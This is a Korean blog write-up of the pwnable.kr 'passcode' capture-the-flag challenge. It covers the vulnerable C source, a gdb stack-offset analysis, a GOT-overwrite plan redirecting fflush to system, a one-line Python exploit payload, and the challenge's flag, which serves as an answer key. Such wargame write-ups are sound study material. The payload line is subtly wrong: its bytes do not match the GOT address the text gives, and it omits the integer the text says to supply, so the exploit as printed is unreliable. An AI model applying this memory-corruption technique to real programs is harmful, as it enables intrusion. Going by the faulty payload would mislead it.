이번에 풀어볼 문제는 passcode라는 문제인데, 다시 ssh를 사용해서 연결한 뒤 푸는 문제이다.
ssh passcode@pwnable.kr -p2222 (pw:guest)
이번에도 역시 flag와 passcode, passcode의 소스코드 이렇게 3개의 파일이 들어있다.
소스코드를 먼저 보자
cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
제일먼저 main을 보면 문자열을 출력하고 welcome과 login함수를 불러온 뒤 문자열 출력후 종료한다.
여기서는 할 수 있는게 없으니 welcome과 login함수를 보자
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
welcome함수에서는 name이라는 배열을 100byte만큼 선언하고 name에 입력받은 것을 저장한뒤 출력해준다.
역시 여기서도 할 수 있는것은 없어보인다. 그럼 나머지 login함수를 보자
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
login함수는 passcode1, passcode2를 선언한 뒤 각각의 변수에 입력을 받아 저장한뒤 fflush라는 함수로 buf의 값을 지워주고 임의의 값과 비교하여 같으면 flag를 실행시키고 아니면 프로그램을 종료시킨다.
저 값과 같은 passcode를 입력하면 풀리면 이건 문제가 아니다
역시 오류가 일어났다.
그럼 우리가 할 수 있는건 없어보인다. 이번에는 gdb로 passcode를 디버깅해보자
disas welcome
어셈블리 코드를 해석하다보니 입력을 받는 명령을 호출하는데 입력받은 값을 ebp-0x70에 저장한다는 걸 알 수 있다.
이것 말고는 passcode에서 별로 쓸 것이 없는 것 같아서 login함수를 디스어셈블 해봤다.
disas login
여기서는 passcode1을 ebp-0x10에 저장한다는 걸 알 수 있었다.
이 함수가 다르긴하지만 하나의 코드이기 때문에 stack영역을 공유한다. 그렇다면 아까 welcome에서 구한 0x70과 0x10 사이의 거리를 알아보면 0x70 - 0x10 = 0x60 ( 96byte ) 이다.
그런데 어라? 분명 welcome에서는 100byte를 입력받아 저장하는데 4byte가 모자르다. 이 부분을 이용해서 공격할 수 있을 듯 하다.
우리는 공격할 4byte를 확보한 셈이니 4bte를 이용해 어떻게 공격해야할지 생각해야한다. 여기서 fflush를 이용해야 한다.
fflush는 got함수를 이용해서 자신을 호출하는데 이 부분을 조작해 우리가 원하는 함수를 실행시켜줄 수 있다.
즉 system("/bin/cat flag"); 주소로 바꿔주면 fflush 대신 system을 실행시킬것이다.
원래라면 조작할 수 없지만 우리는 4byte가 있기 때문에 이곳에 fflush의 got주소를 입력해 실행시킨 뒤에 system의 주소를 passcode1을 입력받을 때 주어서 다음과 같은 메모리 구조를 가질 것이라 생각한다.
fflush got 주소로 이동해 그곳에 system 시작 주소를 넣으면 해결될 것 같다.
got주소를 fflush를 이용해서 구해보니 0x804a004가 나왔다.
이제 system의 시작 주소만 있으면 된다. system의 시작 주소는 대놓고 나와있으니 모두 찾은 셈이다.
시작주소는 0x080485e3이다. 하지만 이대로 넣으면 안된다 입력을 받을 때 정수형으로 받기 때문에 정수로 바꿔준뒤에 입력해줘야 한다.
0x080485e3 = 134514147
페이로드는 다음과 같다
payload : (python -c 'print "A"*96+"\x04\x0a\x04\x08"';cat) | ./passcode
flag : sorry mom.. I got confused about scanf usage :(
'Hacking > Pwnable' 카테고리의 다른 글
[ pwnable.kr ] input 문제풀이 (0) | 2019.09.04 |
---|---|
[ pwnable.kr ] random 문제 풀이 (0) | 2019.09.04 |
[ pwnable.kr ] flag 문제풀이 (0) | 2019.08.30 |
[ pwnable.kr ] bof 문제풀이 (2) | 2019.08.28 |
[ pwnable.kr ] collision 문제 풀이 (0) | 2019.08.27 |